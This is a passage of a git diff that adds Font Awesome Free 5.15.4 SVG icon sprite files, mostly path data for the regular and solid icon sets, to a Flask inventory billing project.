<path d="M440 6.5L24 246.4c-34.4 19.9-31.1 70.8 5.7 85.9L144 379.6V464c0 46.4 59.2 65.5 86.6 28.6l43.8-59.1 111.9 46.2c5.9 2.4 12.1 3.6 18.3 3.6 8.2 0 16.3-2.1 23.6-6.2 12.8-7.2 21.6-20 23.9-34.5l59.4-387.2c6.1-40.1-36.9-68.8-71.5-48.9zM192 464v-64.6l36.6 15.1L192 464zm212.6-28.7l-153.8-63.5L391 169.5c10.7-15.5-9.5-33.5-23.7-21.2L155.8 332.6 48 288 464 48l-59.4 387.3z"></path> + </symbol> + <symbol id="pause-circle" viewBox="0 0 512 512"> + <path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm96-280v160c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16zm-112 0v160c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16z"></path> + </symbol> + <symbol id="play-circle" viewBox="0 0 512 512"> + <path d="M371.7 238l-176-107c-15.8-8.8-35.7 2.5-35.7 21v208c0 18.4 19.8 29.8 35.7 21l176-101c16.4-9.1 16.4-32.8 0-42zM504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256z"></path> + </symbol> + <symbol id="plus-square" viewBox="0 0 448 512"> + <path d="M352 240v32c0 6.6-5.4 12-12 12h-88v88c0 6.6-5.4 12-12 12h-32c-6.6 0-12-5.4-12-12v-88h-88c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h88v-88c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v88h88c6.6 0 12 5.4 12 12zm96-160v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"></path> + </symbol> + <symbol id="question-circle" viewBox="0 0 512 512"> + <path d="M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 448c-110.532 0-200-89.431-200-200 0-110.495 89.472-200 200-200 110.491 0 200 89.471 200 200 0 110.53-89.431 200-200 200zm107.244-255.2c0 67.052-72.421 68.084-72.421 92.863V300c0 6.627-5.373 12-12 12h-45.647c-6.627 0-12-5.373-12-12v-8.659c0-35.745 27.1-50.034 47.579-61.516 17.561-9.845 28.324-16.541 28.324-29.579 0-17.246-21.999-28.693-39.784-28.693-23.189 0-33.894 10.977-48.942 29.969-4.057 5.12-11.46 6.071-16.666 2.124l-27.824-21.098c-5.107-3.872-6.251-11.066-2.644-16.363C184.846 131.491 214.94 112 261.794 112c49.071 0 101.45 38.304 101.45 88.8zM298 368c0 23.159-18.841 42-42 42s-42-18.841-42-42 18.841-42 42-42 42 18.841 42 42z"></path> + </symbol> + <symbol id="registered" viewBox="0 0 512 512"> + <path d="M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 448c-110.532 0-200-89.451-200-200 0-110.531 89.451-200 200-200 110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200zm110.442-81.791c-53.046-96.284-50.25-91.468-53.271-96.085 24.267-13.879 39.482-41.563 39.482-73.176 0-52.503-30.247-85.252-101.498-85.252h-78.667c-6.617 0-12 5.383-12 12V380c0 6.617 5.383 12 12 12h38.568c6.617 0 12-5.383 12-12v-83.663h31.958l47.515 89.303a11.98 11.98 0 0 0 10.593 6.36h42.81c9.14 0 14.914-9.799 10.51-17.791zM256.933 239.906h-33.875v-64.14h27.377c32.417 0 38.929 12.133 38.929 31.709-.001 20.913-11.518 32.431-32.431 32.431z"></path> + </symbol> + <symbol id="sad-cry" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm144 386.4V280c0-13.2-10.8-24-24-24s-24 10.8-24 24v151.4C315.5 447 282.8 456 248 456s-67.5-9-96-24.6V280c0-13.2-10.8-24-24-24s-24 10.8-24 24v114.4c-34.6-36-56-84.7-56-138.4 0-110.3 89.7-200 200-200s200 89.7 200 200c0 53.7-21.4 102.5-56 138.4zM205.8 234.5c4.4-2.4 6.9-7.4 6.1-12.4-4-25.2-34.2-42.1-59.8-42.1s-55.9 16.9-59.8 42.1c-.8 5 1.7 10 6.1 12.4 4.4 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.3 7.9 4.8 13.7 1.6zM344 180c-25.7 0-55.9 16.9-59.8 42.1-.8 5 1.7 10 6.1 12.4 4.5 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.2 8 4.7 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-3.9-25.2-34.1-42.1-59.8-42.1zm-96 92c-30.9 0-56 28.7-56 64s25.1 64 56 64 56-28.7 56-64-25.1-64-56-64z"></path> + </symbol> + <symbol id="sad-tear" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm8-152c-13.2 0-24 10.8-24 24s10.8 24 24 24c23.8 0 46.3 10.5 61.6 28.8 8.1 9.8 23.2 11.9 33.8 3.1 10.2-8.5 11.6-23.6 3.1-33.8C330 320.8 294.1 304 256 304zm-88-64c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-165.6 98.8C151 290.1 126 325.4 126 342.9c0 22.7 18.8 41.1 42 41.1s42-18.4 42-41.1c0-17.5-25-52.8-36.4-68.1-2.8-3.7-8.4-3.7-11.2 0z"></path> + </symbol> + <symbol id="save" viewBox="0 0 448 512"> + <path d="M433.941 129.941l-83.882-83.882A48 48 0 0 0 316.118 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V163.882a48 48 0 0 0-14.059-33.941zM272 80v80H144V80h128zm122 352H54a6 6 0 0 1-6-6V86a6 6 0 0 1 6-6h42v104c0 13.255 10.745 24 24 24h176c13.255 0 24-10.745 24-24V83.882l78.243 78.243a6 6 0 0 1 1.757 4.243V426a6 6 0 0 1-6 6zM224 232c-48.523 0-88 39.477-88 88s39.477 88 88 88 88-39.477 88-88-39.477-88-88-88zm0 128c-22.056 0-40-17.944-40-40s17.944-40 40-40 40 17.944 40 40-17.944 40-40 40z"></path> + </symbol> + <symbol id="share-square" viewBox="0 0 576 512"> + <path d="M561.938 158.06L417.94 14.092C387.926-15.922 336 5.097 336 48.032v57.198c-42.45 1.88-84.03 6.55-120.76 17.99-35.17 10.95-63.07 27.58-82.91 49.42C108.22 199.2 96 232.6 96 271.94c0 61.697 33.178 112.455 84.87 144.76 37.546 23.508 85.248-12.651 71.02-55.74-15.515-47.119-17.156-70.923 84.11-78.76V336c0 42.993 51.968 63.913 81.94 33.94l143.998-144c18.75-18.74 18.75-49.14 0-67.88zM384 336V232.16C255.309 234.082 166.492 255.35 206.31 376 176.79 357.55 144 324.08 144 271.94c0-109.334 129.14-118.947 240-119.85V48l144 144-144 144zm24.74 84.493a82.658 82.658 0 0 0 20.974-9.303c7.976-4.952 18.286.826 18.286 10.214V464c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h132c6.627 0 12 5.373 12 12v4.486c0 4.917-2.987 9.369-7.569 11.152-13.702 5.331-26.396 11.537-38.05 18.585a12.138 12.138 0 0 1-6.28 1.777H54a6 6 0 0 0-6 6v340a6 6 0 0 0 6 6h340a6 6 0 0 0 6-6v-25.966c0-5.37 3.579-10.059 8.74-11.541z"></path> + </symbol> + <symbol id="smile" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm4 72.6c-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.7-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8-10.1-8.4-25.3-7.1-33.8 3.1z"></path> + </symbol> + <symbol id="smile-beam" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm84-143.4c-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.6-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8-10.2-8.4-25.3-7.1-33.8 3.1zM136.5 211c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.4 1.1 7.4-.5 9.3-3.7l9.5-17zM328 152c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4z"></path> + </symbol> + <symbol id="smile-wink" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm117.8-146.4c-10.2-8.5-25.3-7.1-33.8 3.1-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.7-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8zM168 240c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-60c-25.7 0-55.9 16.9-59.9 42.1-1.7 11.2 11.5 18.2 19.8 10.8l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c8.5 7.4 21.6.3 19.8-10.8-3.8-25.2-34-42.1-59.7-42.1z"></path> + </symbol> + <symbol id="snowflake" viewBox="0 0 448 512"> + <path d="M440.1 355.2l-39.2-23 34.1-9.3c8.4-2.3 13.4-11.1 11.1-19.6l-4.1-15.5c-2.2-8.5-10.9-13.6-19.3-11.3L343 298.2 271.2 256l71.9-42.2 79.7 21.7c8.4 2.3 17-2.8 19.3-11.3l4.1-15.5c2.2-8.5-2.7-17.3-11.1-19.6l-34.1-9.3 39.2-23c7.5-4.4 10.1-14.2 5.8-21.9l-7.9-13.9c-4.3-7.7-14-10.3-21.5-5.9l-39.2 23 9.1-34.7c2.2-8.5-2.7-17.3-11.1-19.6l-15.2-4.1c-8.4-2.3-17 2.8-19.3 11.3l-21.3 81-71.9 42.2v-84.5L306 70.4c6.1-6.2 6.1-16.4 0-22.6l-11.1-11.3c-6.1-6.2-16.1-6.2-22.2 0l-24.9 25.4V16c0-8.8-7-16-15.7-16h-15.7c-8.7 0-15.7 7.2-15.7 16v46.1l-24.9-25.4c-6.1-6.2-16.1-6.2-22.2 0L142.1 48c-6.1 6.2-6.1 16.4 0 22.6l58.3 59.3v84.5l-71.9-42.2-21.3-81c-2.2-8.5-10.9-13.6-19.3-11.3L72.7 84c-8.4 2.3-13.4 11.1-11.1 19.6l9.1 34.7-39.2-23c-7.5-4.4-17.1-1.8-21.5 5.9l-7.9 13.9c-4.3 7.7-1.8 17.4 5.8 21.9l39.2 23-34.1 9.1c-8.4 2.3-13.4 11.1-11.1 19.6L6 224.2c2.2 8.5 10.9 13.6 19.3 11.3l79.7-21.7 71.9 42.2-71.9 42.2-79.7-21.7c-8.4-2.3-17 2.8-19.3 11.3l-4.1 15.5c-2.2 8.5 2.7 17.3 11.1 19.6l34.1 9.3-39.2 23c-7.5 4.4-10.1 14.2-5.8 21.9L10 391c4.3 7.7 14 10.3 21.5 5.9l39.2-23-9.1 34.7c-2.2 8.5 2.7 17.3 11.1 19.6l15.2 4.1c8.4 2.3 17-2.8 19.3-11.3l21.3-81 71.9-42.2v84.5l-58.3 59.3c-6.1 6.2-6.1 16.4 0 22.6l11.1 11.3c6.1 6.2 16.1 6.2 22.2 0l24.9-25.4V496c0 8.8 7 16 15.7 16h15.7c8.7 0 15.7-7.2 15.7-16v-46.1l24.9 25.4c6.1 6.2 16.1 6.2 22.2 0l11.1-11.3c6.1-6.2 6.1-16.4 0-22.6l-58.3-59.3v-84.5l71.9 42.2 21.3 81c2.2 8.5 10.9 13.6 19.3 11.3L375 428c8.4-2.3 13.4-11.1 11.1-19.6l-9.1-34.7 39.2 23c7.5 4.4 17.1 1.8 21.5-5.9l7.9-13.9c4.6-7.5 2.1-17.3-5.5-21.7z"></path> + </symbol> + <symbol id="square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-6 400H54c-3.3 0-6-2.7-6-6V86c0-3.3 2.7-6 6-6h340c3.3 0 6 2.7 6 6v340c0 3.3-2.7 6-6 6z"></path> + </symbol> + <symbol id="star" viewBox="0 0 576 512"> + <path d="M528.1 171.5L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6zM388.6 312.3l23.7 138.4L288 385.4l-124.3 65.3 23.7-138.4-100.6-98 139-20.2 62.2-126 62.2 126 139 20.2-100.6 98z"></path> + </symbol> + <symbol id="star-half" viewBox="0 0 576 512"> + <path d="M288 385.3l-124.3 65.4 23.7-138.4-100.6-98 139-20.2 62.2-126V0c-11.4 0-22.8 5.9-28.7 17.8L194 150.2 47.9 171.4c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.1 23 46 46.4 33.7L288 439.6v-54.3z"></path> + </symbol> + <symbol id="sticky-note" viewBox="0 0 448 512"> + <path d="M448 348.106V80c0-26.51-21.49-48-48-48H48C21.49 32 0 53.49 0 80v351.988c0 26.51 21.49 48 48 48h268.118a48 48 0 0 0 33.941-14.059l83.882-83.882A48 48 0 0 0 448 348.106zm-128 80v-76.118h76.118L320 428.106zM400 80v223.988H296c-13.255 0-24 10.745-24 24v104H48V80h352z"></path> + </symbol> + <symbol id="stop-circle" viewBox="0 0 512 512"> + <path d="M504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256zm296-80v160c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h160c8.8 0 16 7.2 16 16z"></path> + </symbol> + <symbol id="sun" viewBox="0 0 512 512"> + <path d="M494.2 221.9l-59.8-40.5 13.7-71c2.6-13.2-1.6-26.8-11.1-36.4-9.6-9.5-23.2-13.7-36.2-11.1l-70.9 13.7-40.4-59.9c-15.1-22.3-51.9-22.3-67 0l-40.4 59.9-70.8-13.7C98 60.4 84.5 64.5 75 74.1c-9.5 9.6-13.7 23.1-11.1 36.3l13.7 71-59.8 40.5C6.6 229.5 0 242 0 255.5s6.7 26 17.8 33.5l59.8 40.5-13.7 71c-2.6 13.2 1.6 26.8 11.1 36.3 9.5 9.5 22.9 13.7 36.3 11.1l70.8-13.7 40.4 59.9C230 505.3 242.6 512 256 512s26-6.7 33.5-17.8l40.4-59.9 70.9 13.7c13.4 2.7 26.8-1.6 36.3-11.1 9.5-9.5 13.6-23.1 11.1-36.3l-13.7-71 59.8-40.5c11.1-7.5 17.8-20.1 17.8-33.5-.1-13.6-6.7-26.1-17.9-33.7zm-112.9 85.6l17.6 91.2-91-17.6L256 458l-51.9-77-90.9 17.6 17.6-91.2-76.8-52 76.8-52-17.6-91.2 91 17.6L256 53l51.9 76.9 91-17.6-17.6 91.1 76.8 52-76.8 52.1zM256 152c-57.3 0-104 46.7-104 104s46.7 104 104 104 104-46.7 104-104-46.7-104-104-104zm0 160c-30.9 0-56-25.1-56-56s25.1-56 56-56 56 25.1 56 56-25.1 56-56 56z"></path> + </symbol> + <symbol id="surprise" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm0-176c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64zm-48-72c0-17.7-14.3-32-32-32s-32 14.3-32 32 14.3 32 32 32 32-14.3 32-32zm128-32c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"></path> + </symbol> + <symbol id="thumbs-down" viewBox="0 0 512 512"> + <path d="M466.27 225.31c4.674-22.647.864-44.538-8.99-62.99 2.958-23.868-4.021-48.565-17.34-66.99C438.986 39.423 404.117 0 327 0c-7 0-15 .01-22.22.01C201.195.01 168.997 40 128 40h-10.845c-5.64-4.975-13.042-8-21.155-8H32C14.327 32 0 46.327 0 64v240c0 17.673 14.327 32 32 32h64c11.842 0 22.175-6.438 27.708-16h7.052c19.146 16.953 46.013 60.653 68.76 83.4 13.667 13.667 10.153 108.6 71.76 108.6 57.58 0 95.27-31.936 95.27-104.73 0-18.41-3.93-33.73-8.85-46.54h36.48c48.602 0 85.82-41.565 85.82-85.58 0-19.15-4.96-34.99-13.73-49.84zM64 296c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zm330.18 16.73H290.19c0 37.82 28.36 55.37 28.36 94.54 0 23.75 0 56.73-47.27 56.73-18.91-18.91-9.46-66.18-37.82-94.54C206.9 342.89 167.28 272 138.92 272H128V85.83c53.611 0 100.001-37.82 171.64-37.82h37.82c35.512 0 60.82 17.12 53.12 65.9 15.2 8.16 26.5 36.44 13.94 57.57 21.581 20.384 18.699 51.065 5.21 65.62 9.45 0 22.36 18.91 22.27 37.81-.09 18.91-16.71 37.82-37.82 37.82z"></path> + </symbol> + <symbol id="thumbs-up" viewBox="0 0 512 512"> + <path d="M466.27 286.69C475.04 271.84 480 256 480 236.85c0-44.015-37.218-85.58-85.82-85.58H357.7c4.92-12.81 8.85-28.13 8.85-46.54C366.55 31.936 328.86 0 271.28 0c-61.607 0-58.093 94.933-71.76 108.6-22.747 22.747-49.615 66.447-68.76 83.4H32c-17.673 0-32 14.327-32 32v240c0 17.673 14.327 32 32 32h64c14.893 0 27.408-10.174 30.978-23.95 44.509 1.001 75.06 39.94 177.802 39.94 7.22 0 15.22.01 22.22.01 77.117 0 111.986-39.423 112.94-95.33 13.319-18.425 20.299-43.122 17.34-66.99 9.854-18.452 13.664-40.343 8.99-62.99zm-61.75 53.83c12.56 21.13 1.26 49.41-13.94 57.57 7.7 48.78-17.608 65.9-53.12 65.9h-37.82c-71.639 0-118.029-37.82-171.64-37.82V240h10.92c28.36 0 67.98-70.89 94.54-97.46 28.36-28.36 18.91-75.63 37.82-94.54 47.27 0 47.27 32.98 47.27 56.73 0 39.17-28.36 56.72-28.36 94.54h103.99c21.11 0 37.73 18.91 37.82 37.82.09 18.9-12.82 37.81-22.27 37.81 13.489 14.555 16.371 45.236-5.21 65.62zM88 432c0 13.255-10.745 24-24 24s-24-10.745-24-24 10.745-24 24-24 24 10.745 24 24z"></path> + </symbol> + <symbol id="times-circle" viewBox="0 0 512 512"> + <path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm101.8-262.2L295.6 256l62.2 62.2c4.7 4.7 4.7 12.3 0 17l-22.6 22.6c-4.7 4.7-12.3 4.7-17 0L256 295.6l-62.2 62.2c-4.7 4.7-12.3 4.7-17 0l-22.6-22.6c-4.7-4.7-4.7-12.3 0-17l62.2-62.2-62.2-62.2c-4.7-4.7-4.7-12.3 0-17l22.6-22.6c4.7-4.7 12.3-4.7 17 0l62.2 62.2 62.2-62.2c4.7-4.7 12.3-4.7 17 0l22.6 22.6c4.7 4.7 4.7 12.3 0 17z"></path> + </symbol> + <symbol id="tired" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm129.1-303.8c-3.8-4.4-10.3-5.4-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48c5.4 3.2 11.8 1.6 15.3-2.5 3.8-4.5 3.9-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11.1-.1-15.5zM220 208c0-4.2-2.2-8.1-5.8-10.3l-80-48c-5-3-11.5-1.9-15.3 2.5-3.8 4.5-3.9 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11 .1 15.5 3.5 4.1 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3zm28 64c-45.4 0-100.9 38.3-107.8 93.3-1.5 11.8 6.9 21.6 15.5 17.9C178.4 373.5 212 368 248 368s69.6 5.5 92.3 15.2c8.5 3.7 17-6 15.5-17.9-6.9-55-62.4-93.3-107.8-93.3z"></path> + </symbol> + <symbol id="trash-alt" viewBox="0 0 448 512"> + <path d="M268 416h24a12 12 0 0 0 12-12V188a12 12 0 0 0-12-12h-24a12 12 0 0 0-12 12v216a12 12 0 0 0 12 12zM432 80h-82.41l-34-56.7A48 48 0 0 0 274.41 0H173.59a48 48 0 0 0-41.16 23.3L98.41 80H16A16 16 0 0 0 0 96v16a16 16 0 0 0 16 16h16v336a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128h16a16 16 0 0 0 16-16V96a16 16 0 0 0-16-16zM171.84 50.91A6 6 0 0 1 177 48h94a6 6 0 0 1 5.15 2.91L293.61 80H154.39zM368 464H80V128h288zm-212-48h24a12 12 0 0 0 12-12V188a12 12 0 0 0-12-12h-24a12 12 0 0 0-12 12v216a12 12 0 0 0 12 12z"></path> + </symbol> + <symbol id="user" viewBox="0 0 448 512"> + <path d="M313.6 304c-28.7 0-42.5 16-89.6 16-47.1 0-60.8-16-89.6-16C60.2 304 0 364.2 0 438.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-25.6c0-74.2-60.2-134.4-134.4-134.4zM400 464H48v-25.6c0-47.6 38.8-86.4 86.4-86.4 14.6 0 38.3 16 89.6 16 51.7 0 74.9-16 89.6-16 47.6 0 86.4 38.8 86.4 86.4V464zM224 288c79.5 0 144-64.5 144-144S303.5 0 224 0 80 64.5 80 144s64.5 144 144 144zm0-240c52.9 0 96 43.1 96 96s-43.1 96-96 96-96-43.1-96-96 43.1-96 96-96z"></path> + </symbol> + <symbol id="user-circle" viewBox="0 0 496 512"> + <path d="M248 104c-53 0-96 43-96 96s43 96 96 96 96-43 96-96-43-96-96-96zm0 144c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-240C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-49.7 0-95.1-18.3-130.1-48.4 14.9-23 40.4-38.6 69.6-39.5 20.8 6.4 40.6 9.6 60.5 9.6s39.7-3.1 60.5-9.6c29.2 1 54.7 16.5 69.6 39.5-35 30.1-80.4 48.4-130.1 48.4zm162.7-84.1c-24.4-31.4-62.1-51.9-105.1-51.9-10.2 0-26 9.6-57.6 9.6-31.5 0-47.4-9.6-57.6-9.6-42.9 0-80.6 20.5-105.1 51.9C61.9 339.2 48 299.2 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 43.2-13.9 83.2-37.3 115.9z"></path> + </symbol> + <symbol id="window-close" viewBox="0 0 512 512"> + <path d="M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 394c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V86c0-3.3 2.7-6 6-6h404c3.3 0 6 2.7 6 6v340zM356.5 194.6L295.1 256l61.4 61.4c4.6 4.6 4.6 12.1 0 16.8l-22.3 22.3c-4.6 4.6-12.1 4.6-16.8 0L256 295.1l-61.4 61.4c-4.6 4.6-12.1 4.6-16.8 0l-22.3-22.3c-4.6-4.6-4.6-12.1 0-16.8l61.4-61.4-61.4-61.4c-4.6-4.6-4.6-12.1 0-16.8l22.3-22.3c4.6-4.6 12.1-4.6 16.8 0l61.4 61.4 61.4-61.4c4.6-4.6 12.1-4.6 16.8 0l22.3 22.3c4.7 4.6 4.7 12.1 0 16.8z"></path> + </symbol> + <symbol id="window-maximize" viewBox="0 0 512 512"> + <path d="M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 394c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V192h416v234z"></path> + </symbol> + <symbol id="window-minimize" viewBox="0 0 512 512"> + <path d="M480 480H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h448c17.7 0 32 14.3 32 32s-14.3 32-32 32z"></path> + </symbol> + <symbol id="window-restore" viewBox="0 0 512 512"> + <path d="M464 0H144c-26.5 0-48 21.5-48 48v48H48c-26.5 0-48 21.5-48 48v320c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h48c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm-96 464H48V256h320v208zm96-96h-48V144c0-26.5-21.5-48-48-48H144V48h320v320z"></path> + </symbol> +</svg> diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/sprites/solid.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/sprites/solid.svg new file mode 100644 index 00000000..edaf0826 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/sprites/solid.svg @@ -0,0 +1,3013 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!-- +Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com +License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) +--> +<svg xmlns="http://www.w3.org/2000/svg" style="display: none;"> + <symbol id="ad" viewBox="0 0 512 512"> + <path d="M157.52 272h36.96L176 218.78 157.52 272zM352 256c-13.23 0-24 10.77-24 24s10.77 24 24 24 24-10.77 24-24-10.77-24-24-24zM464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM250.58 352h-16.94c-6.81 0-12.88-4.32-15.12-10.75L211.15 320h-70.29l-7.38 21.25A16 16 0 0 1 118.36 352h-16.94c-11.01 0-18.73-10.85-15.12-21.25L140 176.12A23.995 23.995 0 0 1 162.67 160h26.66A23.99 23.99 0 0 1 212 176.13l53.69 154.62c3.61 10.4-4.11 21.25-15.11 21.25zM424 336c0 8.84-7.16 16-16 16h-16c-4.85 0-9.04-2.27-11.98-5.68-8.62 3.66-18.09 5.68-28.02 5.68-39.7 0-72-32.3-72-72s32.3-72 72-72c8.46 0 16.46 1.73 24 4.42V176c0-8.84 7.16-16 16-16h16c8.84 0 16 7.16 16 16v160z"></path> + </symbol> + <symbol id="address-book" viewBox="0 0 448 512"> + <path d="M436 160c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20zm-228-32c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H118.4C106 384 96 